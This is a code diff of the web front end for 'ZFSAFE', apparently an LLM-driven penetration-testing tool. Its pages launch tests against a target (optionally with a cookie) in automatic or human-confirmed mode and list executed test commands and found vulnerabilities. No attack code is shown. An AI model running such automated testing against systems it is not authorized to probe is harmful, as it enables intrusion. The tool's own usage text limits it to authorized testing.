const surplus_count = rowsPerPage - pageData.length;
pageData.forEach((warn) => {
const row = document.createElement('tr');
row.innerHTML = `
<td>${warn.ID}</td>
<td>${warn.model_name}</td>
<td>${warn.channel_name}</td>
<td>${warn.creat_time}</td>
<td>
<button class="btn btn-primary btn-sm warn-show-btn">查看</button>
<button class="btn btn-secondary btn-sm warn-video-btn">视频</button>
<button class="btn btn-danger btn-sm warn-delete-btn">删除</button>
</td>
`;
tableBody.appendChild(row);
row.querySelector('.warn-show-btn').addEventListener('click', () => showWarn(row));
row.querySelector('.warn-video-btn').addEventListener('click', () => videoWarn(row));
row.querySelector('.warn-delete-btn').addEventListener('click', () => deleteWarn(row));
});
}
//刷新分页标签
function renderPagination() {
const pagination = document.getElementById('pagination-warn');
pagination.innerHTML = '';
const totalPages = Math.ceil(warn_data.length / rowsPerPage);
for (let i = 1; i <= totalPages; i++) {
const pageItem = document.createElement('li');
pageItem.className = 'page-item' + (i === currentPage ? ' active' : '');
pageItem.innerHTML = `<a class="page-link" href="#">${i}</a>`;
pageItem.addEventListener('click', (event) => {
event.preventDefault();
currentPage = i;
renderTable();
renderPagination();
});
pagination.appendChild(pageItem);
}
}
//显示报警信息详情
function showWarn(row){
currentEditingRow = row;
model_name = row.cells[1].innerText;
channel_name = row.cells[2].innerText;
create_time = row.cells[3].innerText;
img_path = pageData[row.rowIndex-1].img_path;
document.getElementById('modelName').innerText = `${model_name}`;
document.getElementById('channleName').innerText = `${channel_name}`;
document.getElementById('warnTime').innerText = `${create_time}`;
document.getElementById('warnImg').src = `/api/warn/warn_img?path=${img_path}`; // 设置图片的 src
$('#showWarn').modal('show');
}
//下载视频按钮
function videoWarn(row){
video_path = pageData[row.rowIndex-1].video_path;
// const videoPlayer = document.getElementById('videoPlayer');
// videoPlayer.src = `/api/warn/warn_video?path=${encodeURIComponent(video_path)}`;
// videoPlayer.load(); // 确保重新加载视频
// $('#showVideo').modal('show');
// 创建下载链接
const downloadUrl = `/api/warn/warn_video?path=${encodeURIComponent(video_path)}`;
const a = document.createElement('a');
a.href = downloadUrl;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
}
//删除一条报警数据
function deleteWarn(row){
if (confirm('确定删除此报警吗?')) {
let alarmIds=[];
warn_id = row.cells[0].innerText;
alarmIds.push(warn_id);
// 发送POST请求到后端
fetch('/api/warn/warn_del', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ alarmIds: alarmIds })
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert('删除成功');
} else {
alert('删除失败');
}
})
.catch(error => {
console.error('Error:', error);
});
}
}
//删除当前页的报警数据
function delpageWarn(){
if (confirm('确定删除此页报警吗?')) {
let alarmIds=[];
pageData.forEach((warn) => {
alarmIds.push(warn.ID)
});
// 发送POST请求到后端
fetch('/api/warn/warn_del', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ alarmIds: alarmIds })
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert('删除成功');
} else {
alert('删除失败');
}
})
.catch(error => {
console.error('Error:', error);
});
}
}

16
web/main/templates/assets_manager.html

@ -0,0 +1,16 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
{% endblock %}

3
web/main/templates/base.html

@ -6,6 +6,7 @@
<title>{% block title %}My Website{% endblock %}</title> <title>{% block title %}My Website{% endblock %}</title>
<link rel="stylesheet" href="{{ url_for('main.static', filename='css/bootstrap.min.css') }}"> <link rel="stylesheet" href="{{ url_for('main.static', filename='css/bootstrap.min.css') }}">
<link href="{{ url_for('main.static', filename='css/headers.css') }}" rel="stylesheet"> <link href="{{ url_for('main.static', filename='css/headers.css') }}" rel="stylesheet">
{% block style_link %}{% endblock %}
<style> <style>
.bi { .bi {
vertical-align: -.125em; vertical-align: -.125em;
@ -65,7 +66,7 @@
<span class="ml-3"><H5>设置中,需要重启线程,请稍候...</H5></span> <span class="ml-3"><H5>设置中,需要重启线程,请稍候...</H5></span>
</div> </div>
</div> </div>
{% block modal %}{% endblock %}
<main class="p-0 mb-0"> <main class="p-0 mb-0">
{% block content %}{% endblock %} {% block content %}{% endblock %}
</main> </main>

2
web/main/templates/footer.html

@ -17,7 +17,7 @@
<div class="container justify-content-between align-items-center d-flex flex-wrap"> <div class="container justify-content-between align-items-center d-flex flex-wrap">
<div class="col-md-4 d-flex align-items-center"> <div class="col-md-4 d-flex align-items-center">
<img src="{{ url_for('main.static', filename='images/zf.svg') }}" alt="zfai" width="30" height="24"> <img src="{{ url_for('main.static', filename='images/zf.svg') }}" alt="zfai" width="30" height="24">
<span class="mb-3 mb-md-0 text-muted">&copy; ZFKJ All Rights Reserved</span> <span class="mb-3 mb-md-0 text-muted">&copy; ZFXX All Rights Reserved</span>
</div> </div>
<ul class="nav col-md-4 justify-content-end list-unstyled d-flex"> <ul class="nav col-md-4 justify-content-end list-unstyled d-flex">

Before

Width:  |  Height:  |  Size: 3.8 KiB

After

Width:  |  Height:  |  Size: 3.8 KiB

13
web/main/templates/header.html

@ -3,16 +3,17 @@
<div class="d-flex flex-wrap align-items-center justify-content-center justify-content-lg-start"> <div class="d-flex flex-wrap align-items-center justify-content-center justify-content-lg-start">
<a href="/" class="d-flex align-items-center mb-3 mb-md-0 me-md-auto text-dark text-decoration-none"> <a href="/" class="d-flex align-items-center mb-3 mb-md-0 me-md-auto text-dark text-decoration-none">
<img src="images/登录/zf.svg" alt="" width="40" height="40"> <img src="images/login/zf.svg" alt="" width="40" height="40">
<!-- <svg class="bi me-2" width="40" height="32"><use xlink:href="#bootstrap"/></svg>--> <!-- <svg class="bi me-2" width="40" height="32"><use xlink:href="#bootstrap"/></svg>-->
<span class="fs-4">ZF_BOX</span> <span class="fs-4">ZF_SAFE</span>
</a> </a>
<ul class="nav nav-pills mr-2"> <ul class="nav nav-pills mr-2">
<li class="nav-item"><a href="/view_main.html" class="nav-link active" aria-current="page">实时预览</a></li> <li class="nav-item"><a href="/index.html" class="nav-link active" aria-current="page">首页</a></li>
<li class="nav-item"><a href="/channel_manager.html" class="nav-link">通道管理</a></li> <li class="nav-item"><a href="/task_manager.html" class="nav-link">任务管理</a></li>
<li class="nav-item"><a href="/model_manager.html" class="nav-link">算法管理</a></li> <li class="nav-item"><a href="/his_task.html" class="nav-link">历史任务</a></li>
<li class="nav-item"><a href="/warn_manager.html" class="nav-link">报警管理</a></li> <li class="nav-item"><a href="/assets_manager.html" class="nav-link">资产图谱</a></li>
<li class="nav-item"><a href="/vul_manager.html" class="nav-link">漏洞情报</a></li>
<li class="nav-item"><a href="/system_manager.html" class="nav-link">系统管理</a></li> <li class="nav-item"><a href="/system_manager.html" class="nav-link">系统管理</a></li>
<li class="nav-item"><a href="/user_manager.html" class="nav-link">用户管理</a></li> <li class="nav-item"><a href="/user_manager.html" class="nav-link">用户管理</a></li>
</ul> </ul>

661
web/main/templates/his_task.html

@ -0,0 +1,661 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 在此处可添加样式文件 -->
{% block style_link %}
<link href="{{ url_for('main.static', filename='css/node_tree.css') }}" rel="stylesheet">
{% endblock %}
<!-- 页面样式块 -->
{% block style %}
/* 查询条件区域:使用 row 分布,输入框占满所在列 */
.search-section .form-control,
.search-section .form-select {
width: 100%;
}
/* 查询条件区域,每个条件统一高度且左右间隔均等 */
.search-section .col {
padding: 0 5px;
}
/* 表格样式:统一垂直居中 */
.table thead th, .table tbody td {
vertical-align: middle;
text-align: center;
}
/* 分页区域右对齐 */
.pagination-section {
text-align: right;
padding-right: 15px;
}
/* 固定行高,比如 45px,每页 10 行 */
.fixed-row-height {
height: 45px;
overflow: hidden;
}
/* 模态框内部最大高度,超出部分滚动 */
.modal-dialog {
max-height: calc(100vh+20px);
}
.modal-content {
max-height: calc(100vh+20px);
}
.modal-body {
overflow-y: auto;
}
/* 这里设置页码按钮样式(可根据需要调整) */
.pagination {
margin: 0;
}
.disabled-btn {
/* 禁用状态样式 */
background-color: #cccccc; /* 灰色背景 */
color: #666666; /* 文字颜色变浅 */
cursor: not-allowed; /* 鼠标显示禁用图标 */
opacity: 0.7; /* 可选:降低透明度 */
/* 禁用点击事件(通过 disabled 属性已实现,此样式仅增强视觉效果) */
pointer-events: none; /* 可选:彻底阻止鼠标事件 */
}
.offcanvas-backdrop.show {
z-index: 1055;
}
/* 再把 offcanvas 本身提到更高,超过 modal(modal 是 1055) */
.offcanvas.show {
z-index: 1060;
}
/* 让所有右侧 offcanvas-end 都变成 60% 宽 */
.offcanvas.offcanvas-end {
width: 60% !important;
max-width: none; /* 取消默认 max-width */
}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<div class="container">
<!-- 查询条件区域 -->
<div class="search-section mb-3">
<form class="row g-3 align-items-center">
<!-- 每个输入框直接使用 placeholder 显示标题,水平分布 -->
<div class="col-3">
<input type="text" class="form-control" id="testTarget" name="target" placeholder="检测目标">
</div>
<div class="col-2">
<select class="form-select" id="riskLevel" name="risk_level">
<option value="">风险级别</option>
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
</select>
</div>
<div class="col-2">
<select class="form-select" id="useModel" name="model">
<option value="">使用模型</option>
<option value="1">DeepSeek</option>
<option value="2">GPT-O3</option>
</select>
</div>
<div class="col-2" >
<input type="date" id="startTime" class="form-control" name="start_time" placeholder="开始时间">
</div>
<div class="col-2">
<input type="date" id="endTime" class="form-control" name="end_time" placeholder="结束时间">
</div>
<div class="col-auto">
<button type="button" class="btn btn-primary" id="btnQuery">查询</button>
</div>
</form>
</div>
<!-- 表格区域 -->
<div class="table-section mb-3">
<table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;">
<thead class="table-light">
<tr>
<th style="width: 60px;">ID</th>
<th style="width: 20%;">检测目标</th>
<th style="width: 15%;">开始时间</th>
<th style="width: 15%;">结束时间</th>
<th style="width: 15%;">风险等级</th>
<th style="width: 15%;">使用模型</th>
<th style="width: 100px;">操作</th>
</tr>
</thead>
<tbody id="histasksTbody">
<!-- 数据由JS动态填充,固定10行一页 -->
</tbody>
</table>
</div>
<!-- 分页控件区域 -->
<div class="pagination-section mb-3">
<nav>
<ul class="pagination pagination-sm justify-content-end" id="histasksPagination">
<li class="page-item">
<a class="page-link" href="#" id="prevPage">上一页</a>
</li>
<!-- 页码动态生成 -->
<li class="page-item">
<a class="page-link" href="#" id="nextPage">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
<!-- 模态框:显示 task_manager.html 中的中间 tab 页内容 -->
<!-- 这里只显示节点树、测试指令、漏洞数据三个 tab 页 -->
<div class="modal fade" id="viewModal" tabindex="-1" aria-labelledby="viewModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="viewModalLabel">任务详情</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body p-0">
<!-- 这里仅嵌入中间 tab 页部分 -->
<div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="nodeTreeTab" data-bs-toggle="tab" data-bs-target="#nodeTree" type="button" role="tab" aria-controls="nodeTree" aria-selected="true">
节点树
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="testInstructionsTab" data-bs-toggle="tab" data-bs-target="#testInstructions" type="button" role="tab" aria-controls="testInstructions" aria-selected="false">
测试指令
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="vulnerabilitiesTab" data-bs-toggle="tab" data-bs-target="#vulnerabilities" type="button" role="tab" aria-controls="vulnerabilities" aria-selected="false">
漏洞数据
</button>
</li>
</ul>
<div class="tab-content" id="myTabContent">
<!-- 节点树 -->
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100">
<!-- 左侧:节点树区域 -->
<div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer" style="height: 100%; overflow-y: auto; position: relative; background-color: #f8f9fa;">
<!-- 固定刷新按钮 -->
<!-- <div class="refresh-container" style="position: absolute; top: 5px; left: 5px; z-index: 100;">-->
<!-- <button class="tree-refresh btn btn-primary btn-sm" id="btnRefresh" title="刷新节点树">&#x21bb;</button>-->
<!-- </div>-->
<!-- 节点树内容 -->
<div id="treeContent" class="tree-content" style="padding-top: 40px;">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div>
</div>
</div>
<!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100">
<div class="node-info-area mb-3" style="padding: 10px;">
<h5>节点信息</h5>
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div>
<div class="node-actions" style="padding: 0 10px 10px;">
<div class="row mb-2">
<div class="col-12">
<button class="btn btn-primary w-100" id="btnViewInstr">查看指令</button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- 测试指令 -->
<div class="tab-pane fade p-3" id="testInstructions" role="tabpanel" aria-labelledby="testInstructionsTab">
<div class="row search-area mb-2">
<div class="col-4">
<input type="text" class="form-control" id="instrNodeName" placeholder="节点名称">
</div>
<div class="col-2">
<button class="btn btn-primary" id="instrSearchBtn">查询</button>
<button class="btn btn-primary" id="instrExportBtn">导出</button>
</div>
</div>
<table class="table table-bordered table-hover" id="instrTable" style="width: 100%; table-layout: fixed;">
<colgroup>
<col style="width: 5%;">
<col style="width: 15%;">
<col style="width: 5%;">
<col style="width: 30%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead>
<tr>
<th>序号</th>
<th>节点路径</th>
<th>指序</th>
<th>执行指令</th>
<th>执行结果</th>
</tr>
</thead>
<tbody>
<!-- 默认显示10行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="instrPagination">
<li class="page-item">
<a class="page-link" href="#" id="instrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="instrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 漏洞数据 -->
<div class="tab-pane fade p-3" id="vulnerabilities" role="tabpanel" aria-labelledby="vulnerabilitiesTab">
<div class="row search-area mb-2">
<div class="col-3">
<input type="text" class="form-control" id="vulNodeName" placeholder="节点名称">
</div>
<div class="col-3">
<input type="text" class="form-control" id="vulType" placeholder="漏洞类型">
</div>
<div class="col-3">
<select class="form-select" id="vulLevel">
<option value="">漏洞级别</option>
<option value="低危">低危</option>
<option value="中危">中危</option>
<option value="高危">高危</option>
</select>
</div>
<div class="col-2">
<button class="btn btn-primary" id="vulSearchBtn">查询</button>
<button class="btn btn-primary" id="vulExportBtn">导出</button>
</div>
</div>
<table class="table table-bordered table-hover" id="vulTable">
<thead>
<tr>
<th class="seq-col">序号</th>
<th>节点路径</th>
<th>漏洞类型</th>
<th>漏洞级别</th>
<th>漏洞说明</th>
</tr>
</thead>
<tbody>
<!-- 默认显示10行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="vulPagination">
<li class="page-item">
<a class="page-link" href="#" id="vulPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="vulNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
<!-- 模态框 footer -->
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>
<!-- 查看节点执行指令offcanvas --modal 改--->
<div class="offcanvas offcanvas-end" tabindex="-1" id="instrCanvas" aria-labelledby="instrCanvasLabel">
<div class="offcanvas-header">
<!-- 返回按钮 -->
<!-- <button type="button" class="btn btn-outline-secondary btn-sm" data-bs-dismiss="offcanvas">-->
<!---->
<!-- </button>-->
<h5 class="offcanvas-title" id="instrOffcanvasLabel">测试指令</h5>
<button type="button" class="btn-close text-reset" data-bs-dismiss="offcanvas" aria-label="Close"></button>
</div>
<div class="offcanvas-body">
<!-- 返回按钮 -->
<div class="mb-3">
<button type="button" class="btn btn-outline-secondary btn-sm" data-bs-dismiss="offcanvas">
← 返回
</button>
</div>
<!-- 新增一个提示容器 -->
<!-- <div id="loadingMsg" style="text-align: center; padding: 10px;">请稍后,数据获取中...</div>-->
<div id="loadingMsg" class="text-center mb-3">请稍后,数据获取中...</div>
<!-- 页签(已执行、待执行) -->
<ul class="nav nav-tabs" id="instrTab" role="tablist">
<li class="nav-item" role="presentation">
<button
class="nav-link active"
id="doneInstrTab"
data-bs-toggle="tab"
data-bs-target="#doneInstr"
type="button"
role="tab"
aria-controls="doneInstr"
aria-selected="true"
>
已执行
</button>
</li>
<li class="nav-item" role="presentation">
<button
class="nav-link"
id="todoInstrTab"
data-bs-toggle="tab"
data-bs-target="#todoInstr"
type="button"
role="tab"
aria-controls="todoInstr"
aria-selected="false"
>
待执行
</button>
</li>
</ul>
<div class="tab-content pt-3" id="instrTabContent">
<!-- 已执行指令表格 -->
<div
class="tab-pane fade show active"
id="doneInstr"
role="tabpanel"
aria-labelledby="doneInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>执行指令</th>
<th>执行时间</th>
<th>执行结果</th>
</tr>
</thead>
<tbody id="doneInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="doneInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="doneInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="doneInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 待执行指令表格 -->
<div
class="tab-pane fade"
id="todoInstr"
role="tabpanel"
aria-labelledby="todoInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>待执行指令</th>
<th style="width: 80px;">操作</th>
</tr>
</thead>
<tbody id="todoInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="todoInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="todoInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="todoInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
<!-- 操作按钮 -->
<div class="mt-4 d-flex justify-content-end">
<button type="button" class="btn btn-primary" id="btnExport">导出</button>
</div>
</div>
</div>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
<script src="{{ url_for('main.static', filename='scripts/task_modal.js') }}"></script>
<script>
// 全局变量
let cur_task_id = 0;
let allHistasks = [];
let currentPage = 1;
const pageSize = 10;
// 分页渲染函数
function renderHistasksTable(page) {
currentPage = page;
const tbody = document.getElementById("histasksTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = allHistasks.slice(startIndex, endIndex);
//select ID,task_target,safe_rank,llm_type,start_time,end_time from task
tbody.innerHTML = "";
pageData.forEach((task, i) => {
const tr = document.createElement("tr");
// 每个单元格创建时使用 textContent,确保固定行高,如有需要也可增加 class "fixed-row-height"
const tdId = document.createElement("td");
tdId.textContent = task[0];
tr.appendChild(tdId);
const tdTarget = document.createElement("td");
tdTarget.textContent = task[1];
tr.appendChild(tdTarget);
const tdStart = document.createElement("td");
tdStart.textContent = task[4] || "";
tr.appendChild(tdStart);
const tdEnd = document.createElement("td");
tdEnd.textContent = task[5] || "";
tr.appendChild(tdEnd);
const tdRisk = document.createElement("td");
tdRisk.textContent = (task[2] === 0) ? "安全" : "存在风险";
tr.appendChild(tdRisk);
const tdModel = document.createElement("td");
model_test = ""
if(task[3]===1){
model_test="DeepSeek";
}
else if(task[3]===2){
model_test="GPT-O3";
}
else{
model_test="其他模型";
}
tdModel.textContent = model_test;
tr.appendChild(tdModel);
const tdAction = document.createElement("td");
// 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm";
btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView);
// 删除按钮(示例)
const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-1";
btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < 7; j++) {
const td = document.createElement("td");
td.textContent = "\u00A0";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
updatePagination();
}
// 更新分页按钮
function updatePagination() {
const totalPages = Math.ceil(allHistasks.length / pageSize);
document.getElementById("prevPage").dataset.page = currentPage > 1 ? currentPage - 1 : 1;
document.getElementById("nextPage").dataset.page = currentPage < totalPages ? currentPage + 1 : totalPages;
}
// 分页按钮点击事件
document.getElementById("prevPage").addEventListener("click", function(e) {
e.preventDefault();
const page = parseInt(this.dataset.page, 10);
renderHistasksTable(page);
});
document.getElementById("nextPage").addEventListener("click", function(e) {
e.preventDefault();
const page = parseInt(this.dataset.page, 10);
renderHistasksTable(page);
});
// 查询按钮事件,调用 /api/task/histasks 接口获取数据(示例)
document.getElementById("btnQuery").addEventListener("click", async function() {
// 此处可拼接获取表单数据条件,示例直接调用接口
/*
target_name = data.get("target_name")
safe_rank = data.get("safe_rank")
llm_type = data.get("llm_type")
start_time= data.get("start_time")
end_time= data.get("end_time")
* */
const target_name = document.getElementById("testTarget").value.trim();
const safe_rank = document.getElementById("riskLevel").value;
const llm_type = document.getElementById("useModel").value;
const start_time = document.getElementById("startTime").value;
const end_time = document.getElementById("endTime").value;
try {
const res = await fetch("/api/task/histasks", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({target_name,safe_rank,llm_type,start_time,end_time})
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allHistasks = data.his_tasks || [];
renderHistasksTable(1);
} catch (error) {
console.error("查询任务记录出错:", error);
alert("查询失败!");
}
});
// “查看详情”按钮事件(统一使用模态框显示 task_manager.html)
async function openViewModal(task_id) {
cur_task_id = task_id;
const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false });
viewModal.show();
//查询节点树数据
loadNodeTree(task_id);
//查询指令数据
searchInstructions(1);
//查询漏洞数据
searchVulnerabilities(1);
}
// 删除任务的示例函数
async function confirmDeleteTask(task_id) {
if (confirm("确认删除任务 " + task_id + " 吗?")) {
// 发送删除请求...
try {
const res = await fetch("/api/task/deltask", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
bsuccess = data.bsuccess;
if(bsuccess){
// 1. 从前端缓存里删除这条任务
allHistasks = allHistasks.filter(t => t[0] !== task_id);
// 2. 重新渲染当前页
// 注意:如果删除后当前页已经没有任何数据了,可以让 currentPage--
const totalPages = Math.ceil(allHistasks.length / pageSize) || 1;
if (currentPage > totalPages) {
currentPage = totalPages;
}
renderHistasksTable(currentPage);
// (可选)如果你想做局部删除,而不重画整表,也可以直接:
// btnEl.closest("tr").remove();
alert("删除成功")
}
else{
alert("删除失败:",data.error)
return false;
}
} catch (error) {
console.error("删除任务数据异常:", error);
return false;
}
}
}
// 页面加载时可以自动调用查询接口加载数据
document.addEventListener("DOMContentLoaded", () => {
// 可自动加载数据,或者等待用户点击查询
document.getElementById("btnQuery").click();
//renderHistasksTable(1);
});
</script>
{% endblock %}

172
web/main/templates/index.html

@ -0,0 +1,172 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %}
#cookieInfo {
font-size: 0.9rem;
}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<div class="container mt-4">
<!-- 测试目标输入框 -->
<div class="mb-3">
<label for="testTarget" class="form-label">
测试目标: <span class="text-danger">*</span>
</label>
<input
type="text"
class="form-control"
id="testTarget"
placeholder="输入测试目标"
required
/>
</div>
<!-- cookie 信息输入框,左缩进,非必填 -->
<div class="mb-3">
<div style="margin-left: 20px;margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">cookie信息 (非必填):</label>
<input
type="text"
class="form-control"
id="cookieInfo"
placeholder="输入cookie信息"
/>
</div>
<!-- 模型选择 -->
<div style="margin-left: 20px; margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">模型选择:</label>
<select class="form-select" id="modelSelect" style="font-size:0.9rem">
<option value="DeepSeek">DeepSeek</option>
<option value="GPT-O3">GPT-O3</option>
</select>
</div>
<!-- 测试模式:全自动,半自动 -->
<div style="margin-left: 20px">
<label class="fw-bold" style="font-size:0.9rem">测试模式: </label>
<div class="form-check form-check-inline">
<input
class="form-check-input"
type="radio"
name="testMode"
id="autoMode"
value="auto"
/>
<label class="form-check-label" for="autoMode"
>自动执行</label
>
</div>
<div class="form-check form-check-inline">
<input
class="form-check-input"
type="radio"
name="testMode"
id="manualMode"
value="manual"
checked
/>
<label class="form-check-label" for="manualMode"
>人工确认</label
>
</div>
</div>
</div>
<!-- 开始按钮,右对齐 -->
<div class="mb-3 text-end">
<button id="startButton" class="btn btn-primary">开始</button>
</div>
<!-- 使用说明 -->
<div class="mt-4">
<label for="usage" class="form-label">使用说明:</label>
<textarea class="form-control" id="usage" rows="10">
1.测试模式分为两种:自动执行和人工确认(单步模式),模式的切换只允许在暂停情况下调整;
2.暂停不停止正在执行指令,指令执行后会根据当前参数的设定执行下一步工作;
3.单步的作用是将节点中:待执行的指令进行执行,待提交LLM的数据提交LLM;
4.顶部的单步是针对整个任务的单步执行,若节点执行状态不一致,会存在某些节点执行测试指令,某些节点提交llm任务的情况,节点树区域的控制是针对该节点的控制;
5.由于LLM的不一致性,会存在无执行任务,但没有标记完成的任务节点,可作为已完成论;
6.在单步模式下,若某指令执行的结果错误,可以在查看MSG功能里,修改待提交的执行结果,来保障测试的顺利推进;
7.对于已经验证漏洞存在的节点,若LLM返回了测试指令,但没有必要继续验证的话,可以点击该节点的暂停按钮,暂停该节点的测试推进;
8.本工具仅限于在得到授权的前提下使用,若目标重要性很高,请使用单步模式,确认测试指令的影响后执行。
</textarea>
</div>
</div>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
<script>
let curmodel = 1 //0-腾讯云,1-DS,2-2233.ai,3-GPT
// 为模型选择下拉框绑定选择事件
document.getElementById("modelSelect").addEventListener("change", function() {
const selectedModel = this.value;
console.log("选择的模型为:" + selectedModel);
// 可根据需要进一步处理选中模型
if(selectedModel === "DeepSeek"){
curmodel = 1
}else if(selectedModel === "GPT-O3"){
curmodel = 2 //暂时用2233.ai接口代替o3
}
else {
alert("模型参数存在问题,请联系管理员!!");
}
});
document.getElementById("startButton").addEventListener("click", async () => {
//取值
const testTarget = document.getElementById("testTarget").value;
const cookieInfo = document.getElementById("cookieInfo").value;
let workType = 0; //0-人工,1-自动
const selected = document.getElementById('manualMode').checked;
if(selected){
workType = 0;
}else {
workType = 1;
}
// 测试目标不能为空
if (!testTarget) {
alert("测试目标不能为空!");
return;
}
try {
const response = await fetch("/api/task/start", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
testTarget,
cookieInfo,
workType,
curmodel,
}),
});
// // 状态码校验
// if (!response.ok) {
// const errorData = await res.json();
// throw new Error(errorData.error || `HTTP错误 ${res.status}`);
// }
// 如果后端返回了重定向,则前端自动跳转
if (response.redirected) {
window.location.href = response.url;
} else { //除了跳转,都是返回的错误信息
const data = await response.json();
if (data.error) {
alert(data.error);
}
}
} catch (error) {
console.error("Error:", error);
alert("请求出错,请稍后再试!");
}
});
</script>
{% endblock %}

176
web/main/templates/index_webrtc.html

@ -1,176 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZFBOX</title>
<link rel="stylesheet" href="{{ url_for('main.static', filename='css/bootstrap.min.css') }}">
<link href="../static/resources/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
display: flex;
flex-direction: column;
height: 100vh;
}
header {
background-color: #007bff;
color: white;
padding: 10px 0;
}
.navbar-nav .nav-link {
color: white;
}
main {
display: flex;
flex: 1;
overflow: hidden;
}
.tree-view {
border-right: 1px solid #ddd;
padding: 10px;
overflow-y: auto;
}
.video-content {
padding: 10px;
overflow-y: auto;
flex: 1;
}
footer {
background-color: #f8f9fa;
text-align: center;
padding: 10px 0;
}
.video-frame {
background-color: #f8f9fa;
border: 1px solid #ddd;
margin-bottom: 10px;
}
.video-frame img {
width: 100%;
height: auto;
}
.video-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 10px;
}
.video-grid.eight {
grid-template-columns: repeat(4, 1fr);
}
.toggle-buttons {
margin-bottom: 10px;
}
</style>
</head>
<body>
<header>
